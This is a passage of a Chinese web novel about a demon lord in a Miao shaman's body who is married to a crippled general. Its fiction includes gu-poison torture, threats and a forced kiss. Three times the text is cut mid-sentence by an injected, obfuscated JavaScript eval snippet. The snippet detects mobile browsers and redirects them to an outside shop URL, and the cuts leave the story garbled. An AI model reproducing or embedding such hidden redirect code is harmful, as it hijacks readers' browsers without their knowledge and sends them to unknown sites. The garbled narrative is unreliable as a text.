要是换成别人,他只怕要说一句治不了等死吧,劝对方该吃吃该喝喝,早点订口棺材,准备后事。 但没办法,谁让他魔尊大人心地善良,即便是宣判死刑也要说得委婉些:“你这伤,没个三年五载治不好。” 祁雁正撩水洗澡的手停了停。 “有三年五载也治不好。” 祁雁继续洗。 “经脉寸毁,腑脏受损,筋骨离断,他们废你武功时下手太狠,已经伤了根基,这辈子是别想恢复了。” 祁雁还是没什么反应。 “当然,前提是没遇到我,”苗霜话风一转,“你这伤势,就是宫里最好的太医也要束手无策,但我不一样。” 祁雁终于抬起眼帘:“你一个满手毒蛊的大巫,还会治病救人?” “医毒同源,我能用蛊杀你,就一样能用蛊救你,不过我的法子可不比寻常医术温和,只怕你不敢接。” 祁雁冷笑了下:“想折磨我就直说,倒也不必这么拐弯抹角,陛下给你安排苗医的身份,不就是方便你给我下毒?你有什么手段大可使出来,我受得住中原的刑罚,也不会怕你们苗疆的。” 苗霜:“是吗。” 下一秒,祁雁只觉耳边响起嗡一声尖鸣,视野在瞬间暗了下去,全身各处涌起尖锐深切的疼痛,身体和意识都仿佛被人狠狠碾碎。 一只金色的小虫不知何时落在了手上,他想要捏死这引发疼痛的该死的蛊虫,身体却因剧痛动弹不了分毫,只能眼睁睁看着那虫子钻进皮肤,消失了踪迹。 疼痛持续了许久才消退,冷汗顺着鬓边滑了下来,周身泛起彻骨的寒意,几乎让他忘了自己还泡在热水当中。 “我这苗疆蛊术相比你们中原人的刑罚,滋味如何?”苗霜抱着胳膊站在一边,笑意吟吟地欣赏他惨白的脸色,“不过是一只小虫子,就把你疼成这样,凭你这点耐受力,就算我给你治疗,你也只有死路一条。” 祁雁没回应他,剧痛抽干了他浑身力气,连说话的劲儿都没有。 “你最好搞清楚自己现在的处境。”苗霜轻轻摸了下袖中的骨刃,立刻被锋利的刀刃划破指腹,便用受伤的手指拨动水面,继而扳过祁雁的脸,迫使他看向自己。 “给你治伤是我心情好,我若是心情不好,就让我那些小宝贝们吃光你的内脏,留下这副皮囊做成人傀,日日亵玩——你意下如何?” 他笑着用指节刮过对方的鼻梁,爱抚般摸了摸他的脸颊,水珠顺着祁雁的下颌缓缓流下,滴进水面,制造出一圈涟漪。 说完,便转身离开了。 祁雁只感觉一阵深深的恶寒,比刚刚被蛊虫噬咬还冷百倍。 疯子…… 他虚弱地趴在桶边喘|息,许久才恢复了一些力气,水已经冷了,他慢慢擦干身体从浴桶里出来,坐在轮椅上换好衣服。 蛊虫制造的疼痛给身体带来难以言说的疲惫,又休息了好一会儿才缓过来,祁雁呼出一口气,转动轮椅准备离开。 忽然察觉到什么,他愣了一下。 手……不疼了? 他出狱至今已有些时日,身上的皮外伤都愈合得差不多了,被拔掉的指甲却始终没有长好——轮椅沉重,他手上的力气又大不如前,转动起来十分吃力,指尖伤口因此撕裂流血,反反复复,经久不愈。 而现在…… 手指上的血痂因为泡水而脱落,露出新生的半透明的指甲,虽然还是有些参差不齐,但相比之前已经好了太多。 怎么回事。 明明昨晚还不是这个样子。 一夜之间竟恢复了这么多,是那苗人干的? 什么时候动的手?他竟全无所觉。 这苗人说要给他治伤竟不是在骗他,可刚刚放蛊虫折磨他时的恶意又不像假的,祁雁猜不透他的意图,心情复杂地离开了房间。 刚出去就闻到一股扑鼻的香味,餐桌上摆好了饭菜,苗霜冲他招手,示意他过来。 下人将最后一道甜羹摆上桌子:“将军,夫人,请慢用。” 苗霜拿起勺子在那热气腾腾的羹里捞了捞,笑吟吟道:“新做的?怎么不弄些剩菜泔水,来刁难你家将军?” 下人闻言一惊,吓得直接跪在了地上:“小人不敢,小人不敢!” “开个玩笑而已,这么紧张做什么,起来吧。” “谢夫人。” 白蛇从苗霜袖口里爬了出来,吐着信子在桌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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祁雁拿起筷子加菜:“你真信得过他?” “信不过。” “那又何必多此一举。” “方才给他的银子上下了蛊,他若是听话,什么事都没有,若是不听话……”苗霜笑意吟吟地托着下巴,“蛊毒发作,肠穿肚烂。” 祁雁:“……” 真是歹毒的苗人。 苗霜拿起手边一盘熘肝尖,扔到了祁雁面前:“我不吃内脏,看着就恶心,你最好把这些都解决了,一块也别剩。” ……歹毒又挑剔的苗人。 祁雁没那么多讲究,军营里有什么吃什么,内脏下水也是肉,哪有那么多粮食够他们挑三拣四。 他伸筷去夹那盘肝尖,可上面勾了欠汁,滑溜鲜嫩过头了,他手伤过后本就不灵便,用筷子这种精细活儿更是难上加难,试了好几次也没夹上来,一支筷子还从手中滑落,掉在桌上。 苗霜在那里幸灾乐祸,嘲笑声不绝于耳,搞得祁雁更加郁闷,眉目都阴沉了几分。 笑够了,苗霜才慢条斯理地解下发带,又取了双干净筷子,仔细绑了筷尾,递给祁雁:“拿去。” 祁雁狐疑地打量他半晌,这才接过,绑过的筷子用起来的确轻松许多,能顺利夹起肝尖了。 苗霜不忘继续揶揄他:“初学用筷子的孩童才用这种方法辅助,将军还不如三岁小孩。” 祁雁:“……” 5. 第 5 章 这苗人也不知什么毛病,帮他一下要配三句挖苦,给他治个手指头要让他疼得直不起腰。 但祁雁到底什么也没说,不知道是昨夜太激烈,还是刚才那蛊虫又让他消耗了体力,他现在只觉饥肠辘辘,只想吃饭,顾不上其他了。 白蛇被投喂了一个鸡腿好像还没吃饱,又在桌上肆无忌惮地游走觅食,再次张开血盆大口,却被苗霜用筷子敲了蛇头:“盘子不能吃。” 白蛇悻悻然闭上了嘴。 来福很快送来了抄好的账本,苗霜挥挥手让他离开,一边吃饭一边看了起来。 看着账本上的数目,他不禁嗤笑道:“一套婚服两箱珠宝就把你打发了,你这婚成得真够寒碜。” 祁雁:“你也可以选择不嫁。” 苗霜瞥他一眼,随手拈了支笔在账本上勾画:“这点钱也就够日常开销,陛下放你出来,却也不给你官复原职,俸禄也没了,往后的日子怎么过?” “不知道,”祁雁坦然,“与其问我,不如去问他。” 苗霜没搭理他明里暗里的试探,站起身来:“你这府上缺的东西太多了,马上冬天了,连些御寒衣物都没有,给你治伤需要大量药材,价格不菲……置办这些东西也是问题,虽然有来福帮忙盯着,但人多手杂,那些人我还是信不过。” 他思索片刻,考虑给府上所有下人下蛊和换一批新的哪个更方便,雇人也要花钱,以目前的情况,自然是能省则省。 忽然他想起什么,回过神来:“你府上原本那些佣人去哪儿了?” 话音落下,祁雁蓦地一顿。 他并未开口,脸上也没什么表情,握着筷子的手却用力到指节泛白,苗霜看不清他的眼神,但远远地依然能感觉到低垂眼帘下翻涌的暗潮,眉宇间阴沉得快要滴出水来。 仅仅一瞬,又恢复如常。 祁雁没答,苗霜也没再问。 他早已经知道那些人去哪儿了——谋逆之罪,株连九族,就连早已告老还乡的祁老将军都难逃一死,又何况是些命如草芥的下人。 祁家世代忠良,到今天,就只剩下祁雁一个孤家寡人了。 苗霜说不上自己是什么心情,他走到门口:“我说你这府上怎么总有股挥之不去的血腥味,除了这间婚房,到处都空空荡荡的,蝗虫过境一般,原来是被抄了家——他们从你家里抄出了多少银子?” 祁雁皱了皱眉:“我不清楚。” 祁雁常年在外征战,府中事务很少过问,不清楚也正常,但苗霜却清楚得很,书里写的明明白白,皇帝下令杀了祁家三百余口,抄家抄出几万两白银,这个数字看似不少,可仔细想想,这是祁家三代用命挣来的军功,又委实不多。 而且里面大部分是皇帝给的赏赐,这家一抄,这些钱又原封不动地回到了皇帝的腰包。 苗霜微微眯起眼睛,内心极强烈地不爽起来,他们魔修要是拿了谁的东西,断没有还回去的道理。 这笔钱,迟早再从皇帝手里讨回来。 “这批佣人来你府中多久了?”苗霜又问。 “有些日子了,我出狱至今已过一旬,他们是那时来的。” “十天?可我今早让人带我在府里转转,那人居然连路都认不清,看来他们来你府中做事,拿着银子,却并未上心。” 祁雁垂着眼帘:“我戴罪之身,倒也正常。” 苗霜又在账本上添了几笔:“这批人还是得换,钱不能省在这种地方,除此以外,还得重新置办一套家具,到处都空着像什么样子……需要钱的地方太多了。” “我给不了你什么,”祁雁说,“如果你只是奉陛下之命来打听圣蛊的下落,大可不必操心这些,如果不是……” “如果不是?” “如果不是,不论你此行目的为何,都劝你死了这条心,这京畿皇城,天子脚下,不是你靠几只虫子就能翻云覆雨的,还是早些离开中原,返回故土,以你的手段,自保不难。” 苗霜沉默下来。 他认真注视着祁雁的眼睛,对方却没在看他。 原著里,祁雁不曾对原主说过这些。 一个自幼被选中的大巫,终日与毒物为伴,有人教他怎样用毒,却没人教他如何做人,如何处事。 但凡有人肯对原主说出这样一番话,或许结局就会有所不同。 苗霜一哂,半晌才道:“为什么跟我说这些?” “就当是你我夫妻一场。” “夫妻一场?”苗霜凑近了他,视线扫过他的手,“将军,该不会是我给你医了几根手指头,绑了一副筷子,你就心生感激,想与我为善吧?” 祁雁没答,筷子也没停下。 “人心太善只会吃大亏,你这些年打下的胜仗,难道都是靠心软感动了敌人?” 祁雁还是没吭声,苗霜自觉无趣,挨着他坐了下来:“回苗疆也不是不行。” 祁雁终于抬头看了他一眼,想再去盛点饭,苗霜却主动接过他的碗,帮他盛满:“但不能空着手回去。” 祁雁多少有点受宠若惊:“……谢谢。” 苗霜就坐在旁边,笑眯眯地看着他吃饭:“你太瘦了,多吃点,既要做成人傀,自该外形好看些才是,不然用着也不舒服。” 祁雁:“咳咳……” 一口饭卡在喉间,上不去也下不来,他忙端起甜羹想喝一口,却又被苗霜抢先,对方当着他的面拿出一个碧绿的小瓶子,滴了两滴碧绿的液体在羹里,还拿勺子搅匀了。 加过料的甜羹端到面前,苗霜笑着说:“喝吧。” 祁雁:“……” “放心,我要是想给你下毒,一定下得神不知鬼不觉,”苗霜道,“这是给你治嗓子的药——他们逼你吞了炭吧?可惜拖得太久,我也不保证能让你恢复本音,但至少能让你不那么哑,听久了,磨得我耳朵疼。” 祁雁将信将疑,舀起一勺羹闻了闻,确实不像毒药的味道,这才抿上一口,甜羹里多了一丝药的苦味,咽下去后,又泛起丝丝清凉。 他喝了半碗羹,忽然问:“你又如何知道这不是我本音?” 苗霜一顿。 不等他作答,祁雁继续道:“在苗寨时我们见过,对吧?我不知道你是通过何种方式改换了容貌,如果那时我能认出你就是大巫,断不会让你活着来到中原。” “可现实是我不光活着来了,还成了你的将军夫人,”苗霜摸了摸他的脸,“我们苗人不比你们汉人妻妾成群,不论嫁娶,一生只认一人,你既娶了我就别想再逃走,大不了将你做成人傀带回苗疆。” 祁雁有些嫌恶地避开,到这顿饭结束都没再开口。 苗霜拿着账本找来福吩咐差事去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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就算他此番镇压了苗寨反叛,挫了南照锐气,可大雍面临的威胁又何止这一处。 皇帝昏庸,暴戾多疑妄信谗言,近些年来大雍内部动荡不断,周边各国早已虎视眈眈,纵然他这个将军杀再多贼人,平息再多动乱,也不过杯水车薪,难救大雍于水火。 杀一个大巫,或许不能改变任何事。 祁雁转动轮椅,有些心不在焉地去盥盆洗手,正洗着,突然有什么活物被人丢了过来,径直落进水盆里。 他猝不及防,被吓了一跳,细看才发现竟是那条白蛇,蛇腹微微鼓起,看来是吃饱了。 苗霜出现在门口,一脸嫌弃地说:“吃得满身是油还来爬我的袖子,洗干净再过来。” 祁雁无语片刻:“……所以你就把它扔进我洗手的盆里?” “那不然呢?不扔进你洗手的盆,难道扔进你洗澡的盆?” 祁雁对他的无理要求感到匪夷所思,居然有人会让别人帮忙洗蛇。 他搓了些皂角,洗干净自己的手和蛇,白蛇大概是被他搓得很不舒服,他一撒手便迅速从水盆里溜走了,爬过毛巾架,给自己来了个自动擦干。 苗霜这才伸手接它,祁雁沉默了一下,把毛巾翻过来擦了手,转动轮椅回了卧房。 隐约听到身后传来苗霜的声音:“治什么?不治。” 屋里没有别人,难道在和蛇说话? “他都要杀你了,你还让我给他治手?信不信等他手好了,做的第一件事就是掐死你?” 祁雁:“……” 他看了一眼已经收拾干净的床榻,选择躺上去,并放下帷幔。 6. 第 6 章 祁雁吃过午饭就去休息了,事实上他现在除了休息,也没什么事情能做。 苗霜乐得清闲,吩咐来福去集市买了些东西,商谈好价格准备雇一批新的佣人,并解雇了家里那些,命令他们在一天之内搬走。 之前府里已经死过人,祝公公也回了宫,没人给他们撑腰,这些下人自然是能跑则跑,第二天一早,府里便只剩下了来福。 “跑得倒是快,”苗霜皮笑肉不笑,“一群贪生怕死游手好闲的东西,祝公公的眼光可真好。” 来福莫名感觉自己被内涵了,弱弱开口:“小人……和他们不一样。” 苗霜瞥他一眼。 一阵风扫过,将院子里枯黄的树叶又吹落几片,来福看了一眼阴沉的天色:“看这天气,怕是要下雨,夫人早些进屋吧。” 他拿了扫帚开始扫院中落叶:“这秋雨一下,天气又要冷上几分,夫人多添些衣服才是,将军身体不好,更要多加注意,夫人也劝劝他。” “你自己怎么不去?” “将军却也不听小人的,”来福有些尴尬地挠了挠头,“小人初来那几日,将军不要小人伺候,也从不理会小人,还是夫人您的话管用。” 苗霜挑了挑眉。 风愈发凉了,空气中已隐隐有了潮意,半个时辰内雨一定会到。 难怪今天祁雁看上去没什么精神,想必是因为要下雨而身体不适,之前苗霜给他检查,发现他身上有许多常年征战留下的旧伤,再加上狱中没少受苦,现在能好受才有鬼了。 身体不舒服却也不说,既然不说,那他就当不知道,姓祁的爱疼疼去。 苗霜拿起一身新衣服——昨天来福去裁缝铺定做的,今天已送到了——丢给祁雁:“试试看合不合身。” 祁雁慢慢拿起扔在手边的衣服,他现在浑身酸痛难忍,别说换衣服了,抬抬胳膊都很困难。 苗霜便见他白着一张脸,艰难换好了衣服,低声道:“合身。” 声音听着没那么哑了,却有气无力的。 苗霜装听不出,转身就要走,走到门口,祁雁终于叫住他:“家里还有酒吗?” “要酒干什么?” “驱寒。” “来福,添个火盆进来。” 来福很快端来了火盆,祁雁看着里面燃烧的炭火,叹气道:“这不管用。” “火盆还不管用,你要上天?要么我去问问陛下,把宫里的地龙借来给你?” 祁雁:“……” “你这家里被抄得比脸都干净,去哪给你找酒?”苗霜说着,从袖子里摸出一个小酒葫芦,隔空扔给他,“我这倒是有酒,你凑合一下吧。” 祁雁接住那个巴掌大的酒葫芦,有些诧异地看了看他:“你平常究竟把这些瓶瓶罐罐藏在何处?” “那自然不会告诉你。” 祁雁拔开塞子闻了闻,一股难以言说的味道直冲天灵盖,如果不是酒液还很清澈,他都要怀疑这酒是不是已经变质了。 考虑到苗疆的东西总是与众不同,他捏着鼻子喝了一口,入口是酒的辛辣,辛辣过了,便浮起激烈而绵长的苦。 苦味在喉间打转,越品越浓,以至于让人有点想吐,他艰难把酒咽下,问:“这什么酒?” “药酒,”苗霜笑吟吟道,“驱寒镇痛,通络活血,正适合你。” 祁雁将信将疑,犹豫了一下,忍着恶心又喝了两口。 等他喝得差不多了,苗霜才不紧不慢地补上后半句:“除了七八种药材,也就添了二三十只虫子,精心浸泡了四五十天——哦,你放心,我只滤了清液出来,断不会有什么虫脚虫翅之类的东西。” 祁雁:“………………” 突然觉得这酒有点剌嗓子。 他一言难尽地将空了的酒葫芦还给苗霜。 算了,他体内到现在还有个已经不知道游到哪儿了去的蛊虫,活虫都不怕,还怕死虫吗。 这酒虽然难喝,但效果奇快,祁雁很快就觉得身体暖和了许多,筋骨的酸痛感也没那么难忍了。 秋雨淅淅沥沥地落了下来,烧旺的火盆隔绝开潮湿与寒意,暂时让室内维持温暖。 祁雁裹紧了衣服蜷在被子里,眼皮渐渐发沉,他酒量并不差,可这酒里也不知添了什么成分,没过多久就让他陷入昏睡。 苗霜站在床边,看着某人苍白的脸色和睡梦中依然紧锁的眉头,神情复杂。 凡人的身体素质就是差,下个雨而已。 要是再不给他治疗,这家伙怕是撑不过这个冬天。 原著中祁雁就因为没能及时得到治疗,后期身体好了但也没全好,每逢阴天下雨就疼得死去活来,还有轮椅限时返场。 可见作者的杏癖稳定得令人安心。 虽说脐橙的滋味并非不好,但苗霜还是不想每次都自己出力的,一个姿势用多了也腻,相比自行取悦,他还是乐意躺着。 想了想,他拿了把油纸伞,出门买药去了。 来福见他要冒雨出门,有些惶恐地想要代劳,苗霜却摆摆手拒绝了,让他在家看着祁雁,别一不留神让那家伙咽了气。 别的事可以让来福去做,买药还得他亲自来,并非不信任,只是他并不知道某些药材在中原的名字,得自己去现场确认才行。 一下午他跑遍了京城里大大小小十几家药铺,所需的药材买到了十之七八,还有一些并非中原所产,要么没货,要么贵出天价,还得提前预订。 皇帝赐的两箱珠宝可不够他这么挥霍,只能暂且算了。 等待药铺伙计给他抓药时,苗霜忽然感觉哪里奇怪。 不论是这场景还是这浓重的中药味儿,都有种微妙的熟悉感,仿佛似曾相识。 甚至伙计一抬手,他就知道他手里的药材重几两几钱,和自己所需相差多少,等到放在秤上时,和他估算的数字分毫不差。 虽说医毒同源,原主善用毒也精通药理,书里却好像没提过他有这样的天赋,而且他脑子里的医方一半来自于原主的记忆,另一半却是属于修真界的。 怪事。 他一个魔修,为何会对医术这么了解,他们魔修从来只管杀人,可不管救人。 “公子,您的药抓好了……公子?”伙计将扎好的纸包递来,唤道。 苗霜回过神:“谢了。” 他提了纸包,撑伞走入雨幕,街上人们行色匆匆,压低的雨伞遮住彼此的脸,倒也没人注意他这异于常人的容貌。 回到将军府时天色已经晚了,有一味关键药材没买到,这药却也煎不了,只能先让来福把药材装进陶罐保存起来。 祁雁还在睡,苗霜便没打扰他,忙完自己的事也休息了,跨过他躺到床榻内侧,又抢了他半床被子。 等到夜半三更,苗霜忽然被一阵窸窣声音吵醒,他没睁眼,但感到身边的人起来了。 祁雁尽可能不弄出动静,可身体不便,把自己挪上轮椅还是费了一番工夫,苗霜听到他压抑的呼吸声,想必是药酒的镇痛效果已经过了。 天寒雨浓,没人想在深更半夜离开温暖的被窝,苗霜懒得管他,只悄悄翻了个身,打算看看他起来干什么。 轮椅离开了房间,看方向不像是去解手。 又躺了一会儿,苗霜还是皱着眉头起身,披了衣服跟上去。 他用蛊术收敛了气息远远跟在祁雁身后,雨声盖住他的脚步,祁雁竟没发现他。 轮椅穿过连廊,走了许久,最终停在祠堂前。 祠堂里一片漆黑,他慢慢点燃了烛火,手指微微发抖,不知是冷的还是疼的。 之前被抄家时,祠堂也被弄得一片狼藉,灵位散落满地,这两天又被来福一个个拾起擦净,小心摆回原位。 祁雁注视着灵位上的名字,许久,他撑身离开轮椅,在灵位前跪了下去。 膝盖重重磕上地面,早已离断的筋腱传来不堪重负的痛楚,犹如钝刀剜进骨缝,他却一声没吭,双手交覆按在冰冷的地面上,缓缓叩首至地。 烛光跳动,将灵位上的金字映得明明灭灭。 未关的大门外吹进雨丝,模糊的人影在地上拉得斜长。 “祁雁无能,”低沉嘶哑的嗓音在寂静的祠堂内响起,“辜负亲族厚望,令祁家蒙羞,因一人之过连累家族,害亲眷枉死。负陛下圣恩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14289239|152073||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,负父亲栽培,愧对于天,愧对于民,不忠、不孝、不仁、不义……罄竹难书,万死莫赎。” 颤抖的声音在空旷祠堂里回荡,苗霜注视着那道瘦削的身影,微微皱起眉头。 这番话……好生耳熟。 有什么久远的记忆在脑海深处苏醒,也曾有一道身影像这般跪在地上,面对着的却不是祠堂牌位,而是忘不见尽头的、蜿蜒向上的阶梯—— “弟子愚钝,辜负双亲厚望,难报生身之恩,又违宗门仙规,忽视师尊教诲,怠惰散漫,难成大器,不孝不敬不礼不信……今日拜别,再无归期。” 少年向着云雾缭绕的仙梯重重磕头,字里行间满是不舍,几乎带了哭腔。 这声音……是他自己? 怎么可能…… 他们魔修向来自由自在,独来独往,何来双亲,何来宗门,何来师尊……这都什么跟什么。 不对。 魔修也是人,是人就该有出身,该有父母,他父母是谁,亲人几何,从哪里来?他竟完全不记得。 他的确当了许久的魔尊,盘踞在在万魔峰一千七百年,可在那之前呢?他是怎么成的魔尊,为何修的魔道,一丁点都想不起来。 仿佛有一根针狠狠刺穿了太阳穴,脑子毫无征兆地痛了起来。 苗霜身形一晃,下意识想扶住点什么,手就按在了门板上,门扇动了一下,发出轻微的响声。 这一点响动惊动了祁雁,他慢慢抬起头来,潮湿的眼底血丝未退:“你为何在此?” 莫名其妙的记忆和突如其来的头痛让苗霜有些烦躁,没好气道:“来看看大将军夜半三更不睡觉出来做些什么。” 祁雁抿了抿唇:“我吵醒你了?” “你说呢?”苗霜走到他跟前,踢了一脚他的小腿,“起来,什么天气你跪在地上,这双腿真不想要了?” 祁雁无动于衷,依然跪着:“残废之躯,要与不要也没什么分别。” 苗霜摸出骨刃:“那我现在就帮你砍了。” 祁雁瞥了眼那把三寸长的骨刀,意味不明地笑了一下:“你那东西割喉还行,用来砍腿未免太短,不等你砍下来我已经流血而死,还是换把长的吧。” 苗霜:“……” 他看着对方的眼睛,却没能在那眼中看到半点笑意,只有深暗的阴郁和厌倦。 “你刚刚那些话是认真的?”他问,“你真觉得自己该死?” 祁雁又笑了:“我率兵血洗苗寨,强抢你族圣物,杀你族人毁你家园,在大巫眼中,难道不该死吗?” 苗霜手中刀锋一转,抵住了他的脖子。 祁雁跪直身体,闭上了眼睛。 “……你是不是身体太疼把脑子疼傻了?”苗霜指尖微微用力,刀尖就在他脖子上割出一道血痕,“你若真想死,又何必将那空盒子交给皇帝?” 祁雁一言不发。 “你明知道这是个圈套,却还要上赶着往里跳,你早就知道皇帝要杀你,若你取得圣蛊,对他而言便再无用处,若你未取得圣蛊,便治你办事不利之罪——你横竖不过一死。” 苗霜用刀尖抵住他咽喉:“可你偏偏交给他一个空盒子,多疑的皇帝不禁怀疑自我——圣蛊是否真的存在,是否被你私吞了,如果是真的,你又将它藏在何处?于是他不得不留下你的性命,将你关进大牢日日拷问,你硬生生扛了三个月不肯吐露一言半字,现在又跟我说你想死?!” 苗霜也不知道自己哪来的火气,他做梦都想杀了泊雁仙尊,可祁雁该和他争斗厮杀不死不休,被他亲手折断傲骨,打落云端,而不是像现在这样,跪在地上引颈受戮。 他没兴趣捏死一只蚂蚁。 他用刀尖挑起他的下巴,迫使他看向自己:“我不会杀你,将军,你既杀我族人,抢我族圣物,我怎么可能轻易让你去死?那太便宜你。” 他摸了摸对方的脸,拇指顺着他唇缝撬入,笑容在昏黄烛光中分外诡谲:“不尝遍我的蛊毒就想去死?哪有那么好的事。” 祁雁通红的眼睛狠戾又阴鸷:“今日你不杀我,他日我必杀你。” “我拭目以待。” 7. 第 7 章 阴冷的杀意在祠堂内蔓延,苗霜顶着那仿佛能将人凌迟的眼神,低头吻上他的嘴唇。 苍白干涩的唇瓣被阴雨染得冰冷,可尝过就知道,口腔内部依然炽热灼人。 嘴唇被吻住时,祁雁不禁浑身一僵,眼中闪过惊诧——这里是什么地方,祁家祠堂,纵然他知道苗霜没什么羞耻心可言,却也没想过这人竟色胆包天,敢在祠堂里吻他。 列祖列宗的牌位在黑暗中默不作声,难以言说的恶心和恼羞成怒在一瞬间升起,不知是气的还是什么原因,祁雁耳根蔓上一丝绯红,他本能地想要推开对方,却被反扣住了五指。 冰凉的手指用力挤进他的指缝,这苗人也不知用了什么巫术,只在他腕上轻轻一抹,本就隐隐作痛的手筋登时一阵酸麻,彻底不听使唤了。 所剩无几的反抗能力又被卸走大半,祁雁眉头拧得死紧,恨不得将嘴里那条游蛇一样灵活的舌头用力咬下来。 强烈的敌意让这个吻变得激烈又血腥,疼痛更能让苗霜感到兴奋,他并不介意祁雁在他身上制造伤口。 指腹又去磨碾对方的喉结,祁雁本就被他吻得喘不过气,再遭这么一按,更是几乎窒息,疼痛和濒死感让他头皮发麻,却又诡异地觉得有点舒服。 …… 他一定是疯了。 刚在列祖列宗面前磕头认罪,转头又和一个男人吻得难舍难分。 腥咸苦涩的血合着唾液被迫咽下,交缠的呼吸变得滚烫,祁雁唯一还能动的左手慢慢抬起,扶住了对方的腰,攥紧了他的衣服,掐出深深的褶皱。 阴暗的祠堂内灵位肃穆,被烛火映出点点微光,犹如无声的注视。 突然响起的脚步声让苗霜耳尖微动。 他听到了,祁雁自然也听到了,揽在他腰间的手猛然发力。 苗霜啧了一声,他本就心情烦闷,刚和祁雁吻出点兴致又被人打断,不禁烦上加烦,没给姓祁的推开他的机会,最大限度地催动了他体内的蛊虫。 尖锐的疼痛在身体里爆发,已然超过人类能够承受的极限,祁雁两眼一黑,连声音都没能发出,直接昏死过去。 扶住倒进怀里的人,那脚步声也到了门口,苗霜抬起头,就看到来福一手提着灯笼,一手拿着扫帚防身,颤巍巍地虚张声势:“谁、谁在那里装神弄鬼?!” 苗霜:“……” 在祠堂接吻确实不是个明智的决定,下次得记得关门。 他幽幽地看了对方一眼,血红色的眼睛在光线下妖异又诡谲。 来福登时吓得把灯笼扔了,扔完又反应过来什么,赶紧捡起来,壮着胆子再探,长舒一口气:“夫人,您怎么在此?吓死小人了。” 他半夜起来解手,却听见不知从哪传来异响,找来找去竟找到了祠堂,这夜深雨凉,风声呜咽,没法让人不多想。 苗霜哂笑:“多大人了还怕鬼。” 来福摸了摸鼻子,尴尬道:“小人倒不是怕鬼,只是府里冤死过太多人,深夜来这祠堂,小人还是……” “冤死?”苗霜眯了眯眼,“你觉得祁家无辜?” 来福陡然一惊,扑通跪地:“小人多嘴,小人失言!” “随口一问罢了,紧张什么,”苗霜没再多谈这个话题,“行了,赶紧帮我把人扶起来,没点眼力价。” 他其实很想自己把祁雁拽起来,然而这家伙身量太高,瘦成这样了还是死沉死沉,想一个人把他弄上轮椅并不太容易。 苗霜嫌弃地看了他一眼。 都只剩半个人了还这么沉,就该砍了他那双没用的废腿。 来福抬起头,这才发现之前被轮椅挡住的祁雁,又惊了一下:“将军这是怎么了?” “还能怎么了,”苗霜没好气地哼了声,“太虚,把自己作晕了。” 来福瞳孔地震:“做、做晕了?!” 在祠、祠堂?! 他提着灯笼的手微微颤抖,又将灯笼举近了一点,定睛细看,只见夫人被啃破的嘴角,略显凌乱满是褶皱的衣衫…… 来福咕咚咽了口唾沫。 又僵硬地转过头,看了看祁家先祖整齐摆放的牌位。 难道……将军他……真的不冤? 苗霜半天没等到他帮忙,已是不耐烦了,刚要开口,就看到来福满脸惊恐和怀疑,内心仿佛有什么东西破碎的表情。 苗霜挑了挑眉,意识到他可能是误会了什么,却并没打算解释。 来福捂住自己岌岌可危的三观,上前帮忙把祁雁搀了起来,扶上轮椅。 看着已陷入昏睡的将军,他心情复杂极了。 身体都这样了还这么纵欲……就,非做不可吗? 他又对着牌位默念了许多遍先辈莫怪,这才吹灭烛火,推着轮椅离开祠堂。 看着他脸上的表情几经变换,苗霜不禁忍笑,烦躁的心情也好了许多,跟着他们回到卧房,让来福把人安顿好,便打发他离开了。 一番折腾,苗霜现在十分精神,并没什么睡意,又回想了一下那段记忆,还是想不起更多,太阳穴开始发胀,只能算了。 雨声渐歇,天也渐渐亮了,伴着清晨的鸟鸣啁啾,苗霜终于睡着,可才睡了没一会儿,又被人急匆匆叫醒。 被打扰睡眠令人不悦,他眼皮也没抬,皱眉道:“何事?” 来福压低声音:“夫人,祝公公来了。” 苗霜不感兴趣地一扯嘴角:“今日又是冷水洗澡,还是菜里下药?” “都不是,他说来传陛下口谕,召夫人您进宫。” 苗霜猛地睁开双眼。 大婚第三日,皇帝终于坐不住了。 唇边绽开个诡异的笑,他披衣起身:“走。” * 一脚踏进雨后未干的积水,苗霜跟着祝公公进了宫。 朱红的宫墙被秋雨洗刷一新,脚下平整的青砖上铺着薄薄一层雨水,镜面般倒映着整座皇宫。 迟到的太阳还未驱散雨后潮湿的寒意,苗霜把手缩进袖子,白蛇盘绕在他小臂上,冷得一动都不想动。 “陛下现在何处?”他问。 “陛下正在寝殿,前面就是了。”祝公公比了个“请”的手势。 寝殿…… 这个时间,不上朝吗? 不过原著都说皇帝是个昏君了,断不可能天天上朝,十天半月一次朝会已算勤快,大抵是皇帝今天休息……这部分内容他着实没有细看。 什么朝堂政治,与他们这些修仙修魔的相去甚远,不感兴趣,还是看攻受做恨比较有意思。 尽管已经做过心理建设,但真正见到皇帝本人时,苗霜还是忍不住抽了抽嘴角。 寝殿里点着甜腻的熏香,还没走近,就听到一阵银铃般的笑声,一群小宫女正围着皇帝嬉闹,均是十五六岁的年纪,个顶个的娇嫩似水。 大雍皇帝季渊二十七岁,模样倒是很有皇室的英俊贵气,但可能是苗霜看过原著,对他没有好印象,只觉那龙气不像真龙,倒像是伪装成龙的虺。 隐约记得他曾是先帝一个不受宠的儿子,本为庶出,却凭借其狠辣狡诈在腥风血雨的夺嫡之争中胜出,即位后更是对兄弟亲族赶尽杀绝,手段之残忍令人咋舌,据说那段时间皇城中尸山血海,笼罩在皇宫上的阴云累月不散。 唯一活下来的是他最小也最没出息的弟弟,被季渊以浮于表面的兄友弟恭好生照料,养成了个没心没肺的纨绔。 